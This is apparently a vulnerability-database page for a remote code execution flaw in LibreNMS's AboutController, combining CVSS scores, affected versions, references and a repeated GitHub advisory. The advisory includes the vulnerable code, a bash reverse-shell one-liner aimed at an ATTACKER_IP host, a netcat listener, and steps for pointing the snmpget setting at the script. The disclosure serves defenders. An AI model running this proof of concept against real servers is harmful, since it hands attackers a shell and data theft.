CVE-2026-84190
LibreNMS before 26.5.0 Remote Code Execution via AboutController
LibreNMS versions before 26.5.0 contain a remote code execution vulnerability in the AboutController where the snmpget configuration parameter is passed to shell_exec() without proper validation. An authenticated administrator can modify the snmpget configuration to point to a malicious executable file and trigger code execution by accessing the /about endpoint.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.7
LibreNMS before 26.5.0 Remote Code Execution via AboutController
LibreNMS versions before 26.5.0 contain a remote code execution vulnerability in the AboutController where the snmpget configuration parameter is passed to shell_exec() without proper validation. An authenticated administrator can modify the snmpget configuration to point to a malicious executable file and trigger code execution by accessing the /about endpoint.
- Record
CVE-2026-84190- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 7.2 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
EUVDEUVD-2026-69027
8.7
LibreNMS versions before 26.5.0 contain a remote code execution vulnerability in the AboutController where the snmpget configuration parameter is passed to shell_exec() without proper validation. An authenticated administrator can modify the snmpget configuration to point to a malicious executable file and trigger code execution by accessing the /about endpoint.
- Record
EUVD-2026-69027- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-jf24-8g2h-2wg7
6.4
LibreNMS Vulnerable to Remote Code Execution via AboutController
Remote Code Execution via AboutController in LibreNMS
Summary
A Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the snmpget configuration parameter to execute arbitrary system commands. When the /about endpoint is accessed, the application executes the configured binary path via shell_exec() without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.
Severity: High (CVSS 7.2) Attack Vector: Network Privileges Required: High (Administrator) User Interaction: None Impact: Complete system compromise with web server privileges
Details
Vulnerable Code
File: app/Http/Controllers/AboutController.php
Line: 85
'version_netsnmp' => str_replace('version: ', '',
rtrim(shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))),
Root Cause
The AboutController retrieves the snmpget configuration value from the database and directly concatenates it into a shell_exec() call without proper validation or escaping. While the sanitizePath() function attempts to validate executable paths by blocking special characters (;, `, #, $, |, &, ', ", >, <, (), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.
Configuration Access
The snmpget configuration can be modified through the web interface:
- Endpoint:
PUT /settings/snmpget - Controller:
SettingsController::update() - Required Privileges: Administrator
- Config Definition:
resources/definitions/config_definitions.json
"snmpget": {
"default": "/usr/bin/snmpget",
"type": "executable"
}
Validation Analysis
The sanitizePath() function in DynamicConfigItem.php:
// LibreNMS/Util/DynamicConfigItem.php:277-284
private function sanitizePath(string $path): string|false
{
if (preg_match('/[`;#$|&\'"><(]/', $path)) {
return false;
}
return realpath($path);
}
// LibreNMS/Util/DynamicConfigItem.php:107-110
} elseif ($this->type === 'executable') {
$value == $this->sanitizePath($value);
return $value !== false && is_file($value) && is_executable($value);
}
Attack Scenarios
| Scenario | Description | |----------|-------------| | Insider Threat | Internal admin creates malicious file → updates config → RCE | | Privilege Escalation | Attacker with limited access → creates file → full RCE | | Supply Chain | Malicious package installs binary → admin uses it → RCE |
PoC
Prerequisites
- Valid administrator credentials for LibreNMS web interface
- Ability to create a file on the target system (via prior access, SSH, or another vulnerability)
Proof of Concept - Reverse Shell
Step 1: Create Malicious Executable
Create a reverse shell payload that connects back to the attacker:
ATTACKER_IP="172.16.69.144"
ATTACKER_PORT=9001
bash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null
Save this as /tmp/rev_shell.sh and make it executable:
chmod +x /tmp/rev_shell.sh
Step 2: Setup Netcat Listener
On your attacking machine, start a netcat listener:
nc -lvnp 9001
Step 3: Update Configuration via Web Interface
Login to LibreNMS web interface as administrator and navigate to:
- Settings → External → Binaries
- Locate snmpget configuration
- Update the value to:
/tmp/rev_shell.sh - Click Save
<img width="1919" height="848" alt="image" src="https://github.com/user-attachments/assets/f4f78425-396e-4dc3-a11f-a33f0f6f7fa3" />
Step 4: Trigger RCE
Access the /about endpoint to execute the malicious binary:
<img…
- Record
GHSA-jf24-8g2h-2wg7- CVSS 4.0
- 6.4 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H - Weakness
- CWE-77, CWE-78
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-p7jp-qp65-h4xf
8.7
LibreNMS versions before 26.5.0 contain a remote code execution vulnerability in the...
LibreNMS versions before 26.5.0 contain a remote code execution vulnerability in the AboutController where the snmpget configuration parameter is passed to shell_exec() without proper validation. An authenticated administrator can modify the snmpget configuration to point to a malicious executable file and trigger code execution by accessing the /about endpoint.
- Record
GHSA-p7jp-qp65-h4xf- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.2 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
NVD
8.7
LibreNMS versions before 26.5.0 contain a remote code execution vulnerability in the AboutController where the snmpget configuration parameter is passed to shell_exec() without proper validation. An authenticated administrator can modify the snmpget configuration to point to a malicious executable file and trigger code execution by accessing the /about endpoint.
- Record
CVE-2026-84190- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.2 High
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
OSV
8.7
LibreNMS before 26.5.0 Remote Code Execution via AboutController
LibreNMS versions before 26.5.0 contain a remote code execution vulnerability in the AboutController where the snmpget configuration parameter is passed to shell_exec() without proper validation. An authenticated administrator can modify the snmpget configuration to point to a malicious executable file and trigger code execution by accessing the /about endpoint.
- Record
CVE-2026-84190- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-77
- Updated
- 2026-11-02
OSVGHSA-jf24-8g2h-2wg7
6.4
LibreNMS Vulnerable to Remote Code Execution via AboutController
Remote Code Execution via AboutController in LibreNMS
Summary
A Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the snmpget configuration parameter to execute arbitrary system commands. When the /about endpoint is accessed, the application executes the configured binary path via shell_exec() without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.
Severity: High (CVSS 7.2) Attack Vector: Network Privileges Required: High (Administrator) User Interaction: None Impact: Complete system compromise with web server privileges
Details
Vulnerable Code
File: app/Http/Controllers/AboutController.php
Line: 85
'version_netsnmp' => str_replace('version: ', '',
rtrim(shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))),
Root Cause
The AboutController retrieves the snmpget configuration value from the database and directly concatenates it into a shell_exec() call without proper validation or escaping. While the sanitizePath() function attempts to validate executable paths by blocking special characters (;, `, #, $, |, &, ', ", >, <, (), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.
Configuration Access
The snmpget configuration can be modified through the web interface:
- Endpoint:
PUT /settings/snmpget - Controller:
SettingsController::update() - Required Privileges: Administrator
- Config Definition:
resources/definitions/config_definitions.json
"snmpget": {
"default": "/usr/bin/snmpget",
"type": "executable"
}
Validation Analysis
The sanitizePath() function in DynamicConfigItem.php:
// LibreNMS/Util/DynamicConfigItem.php:277-284
private function sanitizePath(string $path): string|false
{
if (preg_match('/[`;#$|&\'"><(]/', $path)) {
return false;
}
return realpath($path);
}
// LibreNMS/Util/DynamicConfigItem.php:107-110
} elseif ($this->type === 'executable') {
$value == $this->sanitizePath($value);
return $value !== false && is_file($value) && is_executable($value);
}
Attack Scenarios
| Scenario | Description | |----------|-------------| | Insider Threat | Internal admin creates malicious file → updates config → RCE | | Privilege Escalation | Attacker with limited access → creates file → full RCE | | Supply Chain | Malicious package installs binary → admin uses it → RCE |
PoC
Prerequisites
- Valid administrator credentials for LibreNMS web interface
- Ability to create a file on the target system (via prior access, SSH, or another vulnerability)
Proof of Concept - Reverse Shell
Step 1: Create Malicious Executable
Create a reverse shell payload that connects back to the attacker:
ATTACKER_IP="172.16.69.144"
ATTACKER_PORT=9001
bash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null
Save this as /tmp/rev_shell.sh and make it executable:
chmod +x /tmp/rev_shell.sh
Step 2: Setup Netcat Listener
On your attacking machine, start a netcat listener:
nc -lvnp 9001
Step 3: Update Configuration via Web Interface
Login to LibreNMS web interface as administrator and navigate to:
- Settings → External → Binaries
- Locate snmpget configuration
- Update the value to:
/tmp/rev_shell.sh - Click Save
<img width="1919" height="848" alt="image" src="https://github.com/user-attachments/assets/f4f78425-396e-4dc3-a11f-a33f0f6f7fa3" />
Step 4: Trigger RCE
Access the /about endpoint to execute the malicious binary:
<img…
- Record
GHSA-jf24-8g2h-2wg7- CVSS 4.0
- 6.4 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H - Weakness
- CWE-77, CWE-78
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
librenms/librenmsPackagist |
before 26.5.0 | 26.5.0 |
librenms/librenmsPackagist |
before 26.5.0, plus listed versions 1.191.201.20.11.211.22 Show 45 moreShow less1.22.011.231.241.251.261.271.281.291.301.30.011.311.31.011.31.021.31.031.321.32.011.331.33.011.341.351.361.36.011.371.381.391.401.411.421.42.011.431.441.451.461.471.481.48.11.491.501.50.11.511.521.531.53.11.541.55 |
26.5.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-84190 is a high vulnerability (CVSS 8.7) in Librenms, published August 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.86%, the 58th percentile. Fixed in librenms/librenms 26.5.0.
References
github.com/librenms/librenms/security/advisories/GHSA-jf24-8g2h-2wg7
vulncheck.com/advisories/librenms-before-26.5.0-remote-code-execution-via-aboutcontroller
github.com/librenms/librenms/releases/tag/26.5.0
github.com/advisories/GHSA-jf24-8g2h-2wg7
nvd.nist.gov/vuln/detail/CVE-2026-84190
github.com/advisories/GHSA-p7jp-qp65-h4xf
github.com/CVEProject/cvelistV5/tree/main/cves/2026/84xxx/CVE-2026-84190.json
github.com/librenms/librenms
Left out here: 104 versions and the rest of 2 source descriptions. The JSON record has them.